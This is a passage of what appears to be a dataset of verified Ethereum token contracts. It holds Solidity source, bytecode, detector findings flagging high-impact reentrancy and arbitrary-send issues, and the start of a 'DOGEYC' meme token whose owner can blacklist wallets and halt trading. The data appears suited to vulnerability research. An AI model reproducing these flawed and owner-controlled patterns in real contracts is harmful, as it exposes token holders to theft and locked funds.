emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146103ad578063c3c8cd801461045d578063c9567bf914610472578063d543dbeb14610487578063dd62ed3e146104b157610114565b8063715018a61461032e5780638da5cb5b1461034357806395d89b4114610119578063a9059cbb1461037457610114565b8063273123b7116100dc578063273123b71461025a578063313ce5671461028f5780635932ead1146102ba5780636fc3eaec146102e657806370a08231146102fb57610114565b806306fdde0314610119578063095ea7b3146101a357806318160ddd146101f057806323b872dd1461021757610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e6104ec565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610168578181015183820152602001610150565b50505050905090810190601f1680156101955780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101af57600080fd5b506101dc600480360360408110156101c657600080fd5b506001600160a01b03813516906020013561050f565b604080519115158252519081900360200190f35b3480156101fc57600080fd5b5061020561052d565b60408051918252519081900360200190f35b34801561022357600080fd5b506101dc6004803603606081101561023a57600080fd5b506001600160a01b0381358116916020810135909116906040013561053a565b34801561026657600080fd5b5061028d6004803603602081101561027d57600080fd5b50356001600160a01b03166105c1565b005b34801561029b57600080fd5b506102a461063a565b6040805160ff9092168252519081900360200190f35b3480156102c657600080fd5b5061028d600480360360208110156102dd57600080fd5b5035151561063f565b3480156102f257600080fd5b5061028d6106b5565b34801561030757600080fd5b506102056004803603602081101561031e57600080fd5b50356001600160a01b03166106e9565b34801561033a57600080fd5b5061028d610753565b34801561034f57600080fd5b506103586107f5565b604080516001600160a01b039092168252519081900360200190f35b34801561038057600080fd5b506101dc6004803603604081101561039757600080fd5b506001600160a01b038135169060200135610804565b3480156103b957600080fd5b5061028d600480360360208110156103d057600080fd5b8101906020810181356401000000008111156103eb57600080fd5b8201836020820111156103fd57600080fd5b8035906020019184602083028401116401000000008311171561041f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610818945050505050565b34801561046957600080fd5b5061028d6108cc565b34801561047e57600080fd5b5061028d610909565b34801561049357600080fd5b5061028d600480360360208110156104aa57600080fd5b5035610cf0565b3480156104bd57600080fd5b50610205600480360360408110156104d457600080fd5b506001600160a01b0381358116916020013516610df5565b60408051808201909152600981526842656172546561727360b81b602082015290565b600061052361051c610e20565b8484610e24565b5060015b92915050565b683635c9adc5dea0000090565b6000610547848484610f10565b6105b784610553610e20565b6105b285604051806060016040528060288152602001611f87602891396001600160a01b038a16600090815260046020526040812090610591610e20565b6001600160a01b0316815260208101919091526040016000205491906112e6565b610e24565b5060019392505050565b6105c9610e20565b6000546001600160a01b03908116911614610619576040805162461bcd60e51b81526020600482018190526024820152600080516020611faf833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600990565b610647610e20565b6000546001600160a01b03908116911614610697576040805162461bcd60e51b81526020600482018190526024820152600080516020611faf833981519152604482015290519081900360640190fd5b60138054911515600160b81b0260ff60b81b19909216919091179055565b6010546001600160a01b03166106c9610e20565b6001600160a01b0316146106dc57600080fd5b476106e68161137d565b50565b6001600160a01b03811660009081526006602052604081205460ff161561072957506001600160a01b03811660009081526003602052604090205461074e565b6001600160a01b03821660009081526002602052604090205461074b90611402565b90505b919050565b61075b610e20565b6000546001600160a01b039081169116146107ab576040805162461bcd60e51b81526020600482018190526024820152600080516020611faf833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b6000610523610811610e20565b8484610f10565b610820610e20565b6000546001600160a01b03908116911614610870576040805162461bcd60e51b81526020600482018190526024820152600080516020611faf833981519152604482015290519081900360640190fd5b60005b81518110156108c85760016007600084848151811061088e57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610873565b5050565b6010546001600160a01b03166108e0610e20565b6001600160a01b0316146108f357600080fd5b60006108fe306106e9565b90506106e681611462565b610911610e20565b6000546001600160a01b03908116911614610961576040805162461bcd60e51b81526020600482018190526024820152600080516020611faf833981519152604482015290519081900360640190fd5b601354600160a01b900460ff16156109c0576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179182905590610a099030906001600160a01b0316683635c9adc5dea00000610e24565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4257600080fd5b505afa158015610a56573d6000803e3d6000fd5b505050506040513d6020811015610a6c57600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610abc57600080fd5b505afa158015610ad0573d6000803e3d6000fd5b505050506040513d6020811015610ae657600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610b3857600080fd5b505af1158015610b4c573d6000803e3d6000fd5b505050506040513d6020811015610b6257600080fd5b5051601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610b94816106e9565b600080610b9f6107f5565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610c0a57600080fd5b505af1158015610c1e573d6000803e3d6000fd5b50505050506040513d6060811015610c3557600080fd5b505060138054673afb087b8769000060145563ff0000ff60a01b1960ff60b01b19909116600160b01b1716600160a01b17908190556012546040805163095ea7b360e01b81526001600160a01b03928316600482015260001960248201529051919092169163095ea7b39160448083019260209291908290030181600087803b158015610cc157600080fd5b505af1158015610cd5573d6000803e3d6000fd5b505050506040513d6020811015610ceb57600080fd5b505050565b610cf8610e20565b6000546001600160a01b03908116911614610d48576040805162461bcd60e51b81526020600482018190526024820152600080516020611faf833981519152604482015290519081900360640190fd5b60008111610d9d576040805162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e2030000000604482015290519081900360640190fd5b610dbb6064610db5683635c9adc5dea0000084611630565b90611689565b601481905560408051918252517f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9181900360200190a150565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3390565b6001600160a01b038316610e695760405162461bcd60e51b815260040180806020018281038252602481526020018061201d6024913960400191505060405180910390fd5b6001600160a01b038216610eae5760405162461bcd60e51b8152600401808060200182810382526022815260200180611f446022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610f555760405162461bcd60e51b8152600401808060200182810382526025815260200180611ff86025913960400191505060405180910390fd5b6001600160a01b038216610f9a5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ef76023913960400191505060405180910390fd5b60008111610fd95760405162461bcd60e51b8152600401808060200182810382526029815260200180611fcf6029913960400191505060405180910390fd5b610fe16107f5565b6001600160a01b0316836001600160a01b03161415801561101b57506110056107f5565b6001600160a01b0316826001600160a01b031614155b1561128957601354600160b81b900460ff1615611115576001600160a01b038316301480159061105457506001600160a01b0382163014155b801561106e57506012546001600160a01b03848116911614155b801561108857506012546001600160a01b03838116911614155b15611115576012546001600160a01b03166110a1610e20565b6001600160a01b031614806110d057506013546001600160a01b03166110c5610e20565b6001600160a01b0316145b611115576040805162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b604482015290519081900360640190fd5b60145481111561112457600080fd5b6001600160a01b03831660009081526007602052604090205460ff1615801561116657506001600160a01b03821660009081526007602052604090205460ff16155b61116f57600080fd5b6013546001600160a01b03848116911614801561119a57506012546001600160a01b03838116911614155b80156111bf57506001600160a01b03821660009081526005602052604090205460ff16155b80156111d45750601354600160b81b900460ff165b1561121c576001600160a01b03821660009081526008602052604090205442116111fd57600080fd5b6001600160a01b0382166000908152600860205260409020601e420190555b6000611227306106e9565b601354909150600160a81b900460ff1615801561125257506013546001600160a01b03858116911614155b80156112675750601354600160b01b900460ff165b156112875761127581611462565b478015611285576112854761137d565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806112cb57506001600160a01b03831660009081526005602052604090205460ff165b156112d4575060005b6112e0848484846116cb565b50505050565b600081848411156113755760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561133a578181015183820152602001611322565b50505050905090810190601f1680156113675780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6010546001600160a01b03166108fc611397836002611689565b6040518115909202916000818181858888f193505050501580156113bf573d6000803e3d6000fd5b506011546001600160a01b03166108fc6113da836002611689565b6040518115909202916000818181858888f193505050501580156108c8573d6000803e3d6000fd5b6000600a548211156114455760405162461bcd60e51b815260040180806020018281038252602a815260200180611f1a602a913960400191505060405180910390fd5b600061144f6117e7565b905061145b8382611689565b9392505050565b6013805460ff60a81b1916600160a81b179055604080516002808252606080830184529260208301908036833701905050905030816000815181106114a357fe5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156114f757600080fd5b505afa15801561150b573d6000803e3d6000fd5b505050506040513d602081101561152157600080fd5b505181518290600190811061153257fe5b6001600160a01b0392831660209182029290920101526012546115589130911684610e24565b60125460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b838110156115de5781810151838201526020016115c6565b505050509050019650505050505050600060405180830381600087803b15801561160757600080fd5b505af115801561161b573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b60008261163f57506000610527565b8282028284828161164c57fe5b041461145b5760405162461bcd60e51b8152600401808060200182810382526021815260200180611f666021913960400191505060405180910390fd5b600061145b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061180a565b806116d8576116d861186f565b6001600160a01b03841660009081526006602052604090205460ff16801561171957506001600160a01b03831660009081526006602052604090205460ff16155b1561172e576117298484846118a1565b6117da565b6001600160a01b03841660009081526006602052604090205460ff1615801561176f57506001600160a01b03831660009081526006602052604090205460ff165b1561177f576117298484846119c5565b6001600160a01b03841660009081526006602052604090205460ff1680156117bf57506001600160a01b03831660009081526006602052604090205460ff165b156117cf57611729848484611a6e565b6117da848484611ae1565b806112e0576112e0611b25565b60008060006117f4611b33565b90925090506118038282611689565b9250505090565b600081836118595760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561133a578181015183820152602001611322565b50600083858161186557fe5b0495945050505050565b600c5415801561187f5750600d54155b156118895761189f565b600c8054600e55600d8054600f55600091829055555b565b6000806000806000806118b387611cb2565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506118e59088611d0f565b6001600160a01b038a166000908152600360209081526040808320939093556002905220546119149087611d0f565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119439086611d51565b6001600160a01b03891660009081526002602052604090205561196581611dab565b61196f8483611e33565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806119d787611cb2565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611a099087611d0f565b6001600160a01b03808b16600090815260026020908152604080832094909455918b16815260039091522054611a3f9084611d51565b6001600160a01b0389166000908152600360209081526040808320939093556002905220546119439086611d51565b600080600080600080611a8087611cb2565b6001600160a01b038f16600090815260036020526040902054959b50939950919750955093509150611ab29088611d0f565b6001600160a01b038a16600090815260036020908152604080832093909355600290522054611a099087611d0f565b600080600080600080611af387611cb2565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506119149087611d0f565b600e54600c55600f54600d55565b600a546000908190683635c9adc5dea00000825b600954811015611c7257826002600060098481548110611b6357fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611bc85750816003600060098481548110611ba157fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15611be657600a54683635c9adc5dea0000094509450505050611cae565b611c266002600060098481548110611bfa57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d0f565b9250611c686003600060098481548110611c3c57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d0f565b9150600101611b47565b50600a54611c8990683635c9adc5dea00000611689565b821015611ca857600a54683635c9adc5dea00000935093505050611cae565b90925090505b9091565b6000806000806000806000806000611ccf8a600c54600d54611e57565b9250925092506000611cdf6117e7565b90506000806000611cf28e878787611ea6565b919e509c509a509598509396509194505050505091939550919395565b600061145b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e6565b60008282018381101561145b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000611db56117e7565b90506000611dc38383611630565b30600090815260026020526040902054909150611de09082611d51565b3060009081526002602090815260408083209390935560069052205460ff1615610ceb5730600090815260036020526040902054611e1e9084611d51565b30600090815260036020526040902055505050565b600a54611e409083611d0f565b600a55600b54611e509082611d51565b600b555050565b6000808080611e6b6064610db58989611630565b90506000611e7e6064610db58a89611630565b90506000611e9682611e908b86611d0f565b90611d0f565b9992985090965090945050505050565b6000808080611eb58886611630565b90506000611ec38887611630565b90506000611ed18888611630565b90506000611ee382611e908686611d0f565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220e0eaedfffd879197ca6e243da1224b6342fa8a7f38436df240c111f8c75afb3d64736f6c634300060c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 144 |
0x3b46f5e3454d62c74da6553e95d36f36619e3909 | /**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
/*
Doge Yacht Club $DOGEYC
▄
▌▒█ ▄▀▒▌
▌▒▒█ ▄▀▒▒▒▐
▐▄▀▒▒▀▀▀▀▄▄▄▀▒▒▒▒▒▐
▄▄▀▒░▒▒▒▒▒▒▒▒▒█▒▒▄█▒▐
▄▀▒▒▒░░░▒▒▒░░░▒▒▒▀██▀▒▌
▐▒▒▒▄▄▒▒▒▒░░░▒▒▒▒▒▒▒▀▄▒▒▌
▌░░▌█▀▒▒▒▒▒▄▀█▄▒▒▒▒▒▒▒█▒▐
▐░░░▒▒▒▒▒▒▒▒▌██▀▒▒░░░▒▒▒▀▄▌
▌░▒▄██▄▒▒▒▒▒▒▒▒▒░░░░░░▒▒▒▒▌
▌▒▀▐▄█▄█▌▄░▀▒▒░░░░░░░░░░▒▒▒▐
▐▒▒▐▀▐▀▒░▄▄▒▄▒▒▒▒▒▒░▒░▒░▒▒▒▒▌
▐▒▒▒▀▀▄▄▒▒▒▄▒▒▒▒▒▒▒▒░▒░▒░▒▒▐
▌▒▒▒▒▒▒▀▀▀▒▒▒▒▒▒░▒░▒░▒░▒▒▒▌
▐▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▒▄▒▒▐
▀▄▒▒▒▒▒▒▒▒▒▒▒░▒░▒░▒▄▒▒▒▒▌
▀▄▒▒▒▒▒▒▒▒▒▒▄▄▄▀▒▒▒▒▄▀
▀▄▄▄▄▄▄▀▀▀▒▒▒▒▒▄▄▀
▒▒▒▒▒▒▒▒▒▒
100% stealth - we intend to remain as such
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address ownershipRenounced) public virtual onlyOwner {
require(ownershipRenounced != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, ownershipRenounced);
_owner = ownershipRenounced;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DOGEYC is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "DOGEYC";//////////////////////////
string private constant _symbol = "DOGEYC";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 0;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 5;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x963056e7462b9ef20A867bfcc2bf9F5F2dED3bA9);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x963056e7462b9ef20A867bfcc2bf9F5F2dED3bA9);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //1%
uint256 public _maxWalletSize = 30000000 * 10**9; //3%
uint256 public _swapTokensAtAmount = 10000000 * 10**9; //1%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
